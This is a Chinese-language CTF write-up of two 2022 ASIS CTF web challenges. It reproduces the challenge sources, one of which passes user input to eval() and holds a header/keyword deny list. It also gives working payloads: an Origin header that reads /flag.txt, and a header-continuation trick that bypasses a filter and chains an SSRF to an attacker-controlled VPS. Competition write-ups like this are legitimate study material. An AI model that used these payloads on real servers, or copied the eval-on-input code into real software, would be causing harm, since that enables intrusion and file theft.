2022Asisctf
比赛四个题, 比赛时间有点阴间, 晚上一点多开始看题,做到早上五点多才回去睡觉(时间几乎熬在Firewalled
上面了…), 第二天直接睡到晚上六点, 一天直接没了, 属实麻瓜┭┮﹏┭┮
- flask取变量request.origin(176解)
- http对以空格开始的请求头的特殊处理(15解)
- 第三第四都没做(太菜了,就算做了也出不了…), 第三个题看了一遍源码调用了chrom浏览器, 又有eval函数,不知道是不是chrom内核漏洞或者nodejs代码的处理反正不会做了, 等wp出了学一下(第三题
xtr
3解,第四题hugeblog
0解)
Beginner ducks
web的签到, 从python当前环境中取变量(只能有大小写字母和.)然后将取出的值作为文件名读取
直接使用print(dir(request))
输出全部request的成员
['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'charset', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'encoding_errors', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_charset', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']
一个个试一下最后确定origin
参数可用(request.origin)取出的就是请求头中的origin
from flask import Flask,request,Response
import random
import re
app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None
@app.route('/duck')
def retDuck():
what = request.args.get('what')
#print(dir(request))
if(not what or re.search(r'[^A-Za-z\.]',what)):
return 'what?'
with open(eval(what),'rb') as f:
return Response(f.read(), mimetype='image/jpeg')
if(__name__ == '__main__'):
app.run(port=8000)
payload:
GET /duck?what=request.origin HTTP/1.1
Host: ducks.asisctf.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ducks.asisctf.com:8000/duck?what=request.origin
Connection: close
Upgrade-Insecure-Requests: 1
origin: /flag.txt
Firewalled
题目主要是两个点:
- 字典检测str是否在字典中比对的是key
- http将请求头中已空行为开头的数据当做上一行请求头参数的延续, 忽略两个header参数之间的
\r\n
直接将数据拼接
version: "3.9"
services:
flag-container:
build: ./flag-container
environment:
- FLAG=ASIS{test-flag}
restart: always
firewalled-curl:
build: ./firewalled-curl
ports:
- "8000:80"
restart: always
被映射在外的服务:
#!/usr/bin/env python3
from flask import Flask,Response,request
import time
import socket
import re
import base64
import json
isSafeAscii = lambda s : not re.search(r'[^\x20-\x7F]',s)
isSafeHeader = lambda s : isSafeAscii(s)
isSafePath = lambda s : s[0] == '/' and isSafeAscii(s) and ' ' not in s
badHeaderNames = ['encoding','type','charset']
unsafeKeywords = ["flag"]
app = Flask(__name__)
application = app
def isJson(s):
try:
json.loads(s)
return True
except:
return False
def checkHostname(name):
name = str(name)
port = '80'
if(':' in name):
sp = name.split(':')
name = sp[0]
port = sp[1]
if(
(
re.search(r'^[a-z0-9][a-z0-9\-\.]+',name) or
re.search(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+',name)
) and
0 < int(port) < 0x10000
):
return name,int(port)
return Exception('unsafe port'),Exception('unsafe hostname')
def recvuntil(sock,u):
r = b''
while(r[-len(u):] != u):
r += sock.recv(1)
return r
def checkHeaders(headers):
newHeaders = {}
if(type(headers) is not dict):
return Exception('unsafe headers')
for headerName in headers:
headerValue = str(headers[headerName])
if((isSafeHeader(headerName) and ':' not in headerName) and isSafeHeader(headerValue)):
isBad = False
for badHeaderName in badHeaderNames:
if(badHeaderName in headerName.lower()):
isBad = True
break
for badHeaderValue in unsafeKeywords:
if(badHeaderValue in headerValue.lower()):
isBad = True
break
if(isBad):
return Exception('bad headers')
newHeaders[headerName] = headerValue
return newHeaders
def checkMethod(method):
if(method in ['GET','POST']):
return method
return Exception('unsafe method')
def checkPath(path):
if(isSafePath(path)):
return path
return Exception('unsafe path')
def checkJson(j):
if(type(j) == str):
for u in unsafeKeywords:
if(u in j.lower()):
return False
elif(type(j) == list):
for entry in j:
if(not checkJson(entry)):
return False
elif(type(j) == dict):
for entry in j:
if(not checkJson(j[entry])):
return False
else:
return True
return True
@app.route('/req',methods=['POST'])
def req():
params = request.json
hostname,port = checkHostname(params['host'])
headers = checkHeaders(params['headers'])
method = checkMethod(params['method'])
path = checkPath(params['path'])
returnJson = bool(params['returnJson'])
body = None
for p in [hostname,headers,body,method,path]:
if(isinstance(p,Exception)):
return {'success':False,'error':str(p)}
if(method == 'POST'):
body = str(params['body'])
httpRequest = f'{method} {path} HTTP/1.1\r\n'
if(port == 80):
httpRequest+= f'Host: {hostname}\r\n'
else:
httpRequest+= f'Host: {hostname}:{port}\r\n'
httpRequest+= f'Connection: close\r\n'
if(body):
httpRequest+= f'Content-Length: {str(len(body))}\r\n'
for headerName in headers:
httpRequest+= f'{headerName}: {headers[headerName]}\r\n'
httpRequest += '\r\n'
if(body):
httpRequest += body
httpRequest = httpRequest.encode()
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as sock:
sock.settimeout(1)
sock.connect((hostname,port))
sock.sendall(httpRequest)
statusCode = int(recvuntil(sock,b'\n').split(b' ')[1])
headers = {}
line = recvuntil(sock,b'\n').strip()
while(line):
headerName = line[:line.index(b':')].strip().decode()
headerValue = line[line.index(b':')+1:].strip().decode()
if(isSafeHeader(headerName) and isSafeHeader(headerValue)):
headers[headerName] = headerValue
line = recvuntil(sock,b'\n').strip()
bodyLength = min(int(headers['Content-Length']),0x1000)
body = b''
while(len(body) != bodyLength):
body += sock.recv(1)
sock.close()
if(isJson(body.decode())):
if(not checkJson(json.loads(body.decode()))):
return {'success':False,'error':'unsafe json'}
headers['Content-Type'] = 'application/json'
else:
headers['Content-Type'] = 'application/octet-stream'
if(returnJson):
body = base64.b64encode(body).decode()
return {'statusCode':statusCode,'headers':headers,'body':body,'req':httpRequest.decode()}
resp = Response(body)
resp.status = statusCode
for headerName in headers:
for badHeaderName in badHeaderNames:
if(badHeaderName not in headerName.lower()):
resp.headers[headerName] = headers[headerName]
return resp
@app.route('/')
def index():
resp = Response('hi')
resp.headers['Content-Type'] = 'text/plain'
return resp
if(__name__ == '__main__'):
app.run(port=8000)
socket访问的SSRF服务
#!/usr/bin/env python3
from flask import Flask,request
import requests
import json
import os
app = Flask(__name__)
application = app
flag = os.environ.get('FLAG')
@app.route('/flag')
def index():
args = request.args.get('args')
try:
r = requests.post('http://firewalled-curl/req',json=json.loads(args)).json()
if('request' in r and 'flag' in r['request'] and 'flag' in request.headers['X-Request']):
return flag
except:
pass
return 'No flag for you :('
if(__name__ == '__main__'):
app.run(port=8000)
host
-
Header请求头
headers
- key只能是可打印字符,且里面不能有:
- value只能是可打印字符
- key和value均不能有
['encoding','type','charset']
-
请求方式
method
只能是
GET
或POST
-
Path
- 首位为
/
- 全部为可打印字符
- 不包含空格
- 首位为
-
returnJson
转为bool类型
-
body
被转为str类型
payload
POST /req HTTP/1.1
Host: firewalled.asisctf.com:9000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 343
Content-Type: application/json
{"host": "flag-container", "headers":
{"X-Request": "x1",
" X-Request": "x2",
" X-Requestflag": "x3"
},
"method": "GET", "path": "/flag?args={\"host\":\"myvps:port\",\"headers\":{\"Content-Length\":\"3\"},\"method\":\"POST\",\"path\":\"/flag\",\"returnJson\":false,\"body\":\"x\"}", "returnJson": false, "body": "x1=x2"}
VPS返回数据:
{"request": {"flag": "xxx"}}
2022_10_15 23:00